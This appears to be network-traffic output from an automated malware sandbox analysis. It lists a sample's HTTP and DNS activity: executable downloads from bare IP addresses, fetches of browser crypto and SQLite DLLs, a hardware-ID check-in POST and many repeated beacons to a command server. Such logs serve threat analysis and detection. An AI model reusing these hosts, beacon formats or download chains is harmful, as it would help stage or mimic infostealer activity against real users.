Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 02 May 2024 08:26:08 GMTContent-Type: application/zipContent-Length: 3884863Last-Modified: Wed, 24 Apr 2024 05:45:46 GMTConnection: keep-aliveETag: "66289c8a-3b473f"Strict-Transport-Security: max-age=31536000Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 0b 3f 98 58 ef da 8c 80 dd c7 12 00 09 49 14 00 09 00 00 00 62 75 6e 63 68 2e 64 61 74 5c 5d 87 a2 aa 3a 16 cd af 89 8a 20 22 2a 16 10 05 54 ec 15 1b fa f7 b3 d6 4e 3c 77 66 bc ef 58 20 24 3b bb 65 b7 e4 29 a5 ac 9e af 7c 75 5d 2b bc a6 ca 55 2a 56 ea a9 7e af 81 db 9b bd d4 66 da 52 6a 65 f7 f5 b5 1d fe 1a b5 40 f5 66 f8 72 c0 df 56 0d 95 da 17 4a 2d f0 23 55 bd e7 b3 b7 bc 2a b5 de ab 3d ba 54 13 f5 45 13 35 cc 94 5a fa e3 83 aa 26 b5 9e 7a cf 95 fa f4 27 18 6b a2 8e 25 9e cb 4a 65 a9 cb 85 03 dc d4 5b 35 1e e8 cd c6 8f f7 50 c5 db 85 42 7f b5 19 40 05 ac f3 07 2e bf d4 e9 96 a8 47 eb fc 7a 5b 2a 8f 2d 42 31 e2 c3 ce d0 4a 7a 23 0c a9 ce d7 25 de bb 4a b1 fb a6 6a 06 0f d5 57 f5 a4 0e 18 af b5 00 1d 3e 36 32 eb 6a 4b 28 95 bc 0d d4 f1 a3 1a a1 9a c4 a5 02 84 45 b4 54 c9 51 7d d6 6a dd 5f 49 8b 8e 52 ee 54 45 6a a3 3e d2 f1 8b 4f c6 2a 99 3a 4a 25 6f a5 da aa 18 02 8b ec aa a6 b2 60 82 66 2b 4f a9 d6 1c 57 3e 15 87 c0 a3 dd 53 8e 49 4e 43 f5 6d ab 36 be a9 7c 77 51 bb 78 6b ba 4b fa eb fb e5 c8 6f bd 44 1d da 82 f4 13 3a ec 6e 34 01 be 0b f5 50 3e be 84 2a 4d 86 5f 7c 1b a9 8d 50 a7 52 40 9d 67 57 00 90 af 6b 98 90 58 dd c1 01 4d 62 4d d5 0b 9a 17 00 48 0d e6 07 f5 11 e0 eb 20 0c be a0 97 c5 23 6f 05 43 43 fb 21 da b5 c6 fd 31 21 52 f5 67 a2 f2 0a f8 51 63 20 22 50 0d 95 ab c2 51 87 33 a0 48 d0 42 f3 46 e7 7c 1d c6 aa 91 29 97 e0 bd ea cf c6 f8 a9 ae 13 dc f0 40 81 bf 57 f3 a8 36 9f a1 5a 03 15 37 90 39 e0 b5 ed a2 af b6 fc ea 91 64 27 60 5f bf 36 c0 7a 72 25 61 c7 c3 b6 85 1b 00 2a 1e 37 00 2c 2e 92 dd 6c 0c e4 a8 8e a3 2e 68 cb 76 9f f4 18 a0 8b e3 50 0d 4f 05 66 e1 8d 15 21 f4 fd 59 b7 f3 23 b3 b0 59 81 37 cd c2 67 d5 d8 b9 76 3d c4 f0 6b 7f a3 00 f0 4a d5 f9 d4 4e 23 5c a5 35 cc 93 d7 c1 d2 c2 a3 5d cc a7 ca f8 ad 1f b6 3c cf 56 47 55 00 7e 99 cb 9d a8 c7 2c bd d1 58 1e 6f 9b 6b 2e 80 23 8f ce 3f 76 a1 16 25 88 30 ac 2b f2 f9 8d 6d d8 28 6d c5 9e ea 61 68 be 4a 47 3e 16 00 83 fd d8 6d f7 d1 56 99 9a 0c dd f7 d3 6b 62 c0 f3 9a f3 42 ab 6a 58 a1 17 bc 56 24 70 92 a9 93 20 ce 95 c7 3f 9b 3c d8 aa f7 16 bd 5e cf 1d cc 25 4b 41 3d 30 5c be 28 ba c3 09 a6 f8 b8 51 ac 6c 3e 8c 3b 78 ad db 23 57 d5 96 40 40 1b 74 49 55 20 1d a6 f3 51 1b a0 8c 08 9a a5 16 97 14 c2 c0 d9 90 19 2f 65 c9 99 37 45 77 c4 95 f5 7d 68 dc e2 5e 4e e2 02 c5 20 89 9e 18 bb c2 8f 91 f9 de 2b 95 e6 fb 0e c8 b2 c7 0f 8d a9 62 52 7a ca ea f7 1a e3 8b 0a 81 9a 86 32 72 a5 66 1e de 84 75 27 6f bc f1 73 1c 7d 31 05 f4 b8 6a c5 7b 10 27 25 b5 c0 19 b5 85 1a b6 3f ce 81 8d 5a 03 fc 4d d5 00 d3 d4 ca ae 39 2e 7c 50 be dd 57 a3 6f a9 d6 f9 63 a0 92 d1 9b 33 c0 00 ed 15 48 5c 87 34 95 a2 42 8a c6 a3 c0 dc df df 3b 31 34 d1 a2 36 35 93 51 33 00 85 b9 f7 32 34 24 8b ec
Source: global traffic HTTP traffic detected: GET /load/load.php?c=1000 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: d295fdouc92v9n.cloudfront.netConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /load/th.php?a=2836&c=%7BCHANNEL%7D HTTP/1.1Host: d2iv78ooxaijb6.cloudfront.netConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /load/dl.php?id=425&c=%7BCHANNEL%7D HTTP/1.1Host: d2iv78ooxaijb6.cloudfront.netConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /load/dl.php?id=%7BSPOLO_ID%7D HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: d2iv78ooxaijb6.cloudfront.netConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgS_YJbhGOOjzbEGIjAjxm_uq7eJ4K6LnrN39eNjI0R2pOuq0UVNCdm4L6ull4GMPSjbz1Kky3lc4ucWFkgyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-05-02-08; NID=513=H3fnjhpWa7RUBkPYw5ZT5crT8E2GM88-C7FH0Yt_1r6vW-uBzv1gYSaR4gknZfkaJFwLKMPpp-u6yckUzCOO8QkGYJPib1JhqJ049g7NbtP12p7PTWP36LuyNepDhDlcsPXC-eY7aYZPQVKFlV1vHpjP6Ja00zXTV5E7N_Ti7Cg
Source: global traffic HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgS_YJbhGOOjzbEGIjCLM0-b8jM2v7C8T0ZLIj2cHIUwqjoMBrfmLj7VvOmCEtdTiwLHtiPc_XIKHKesyRQyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-05-02-08; NID=513=HO1VaiP2U3Qlo_1cyy1EKyiyky7bF3sMUnZon12j14jeWA6Cj7lJIrr49J7CdvmP63QT9kV4iigwJCo4XDHNQakgpLnF49zNeucokigoJA2O4HyBhBrgHIdUxG0UP5IIm7mHhLT796WBVfZqIpFxpDsU5hQu9uw_sMQGNdWdoLI
Source: global traffic HTTP traffic detected: GET /sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Tue, 19 Mar 2024 23:10:10 GMTUser-Agent: Microsoft BITS/7.8Host: download.iolo.net
Source: global traffic HTTP traffic detected: GET /ISetup1.exe HTTP/1.1Host: 185.172.128.59Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cpa/ping.php?substr=one&s=ab&sub=2838 HTTP/1.1Host: 185.172.128.90User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic HTTP traffic detected: GET /ping.php?substr=one HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic HTTP traffic detected: GET /syncUpd.exe HTTP/1.1Host: 185.172.128.59User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic HTTP traffic detected: GET /1/Package.zip HTTP/1.1Host: note.padd.cn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/sqlite3.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/freebl3.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /BroomSetup.exe HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/mozglue.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/msvcp140.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/nss3.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/softokn3.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/vcruntime140.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: d295fdouc92v9n.cloudfront.net
Source: global traffic DNS traffic detected: DNS query: d2iv78ooxaijb6.cloudfront.net
Source: global traffic DNS traffic detected: DNS query: note.padd.cn.com
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: svc.iolo.com
Source: global traffic DNS traffic detected: DNS query: download.iolo.net
Source: global traffic DNS traffic detected: DNS query: westus2-2.in.applicationinsights.azure.com
Source: unknown HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHDHost: 185.172.128.150Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 44 42 42 31 34 31 38 42 37 41 32 39 37 34 31 36 34 32 35 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 2d 2d 0d 0a Data Ascii: ------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="hwid"6ADBB1418B7A2974164258------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="build"default100------BGCAAFHIEBKJKEBFIEHD--
Source: u5o8.0.exe, 0000000A.00000002.2206482209.0000000001A4E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.172.128.150
Source: u5o8.0.exe, 0000000A.00000002.2206605683.0000000001AA8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.172.128.150/b7d0cfdb1d966bdd/freebl3.dll
Source: u5o8.0.exe, 0000000A.00000002.2206605683.0000000001AA8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.172.128.150/b7d0cfdb1d966bdd/freebl3.dllH
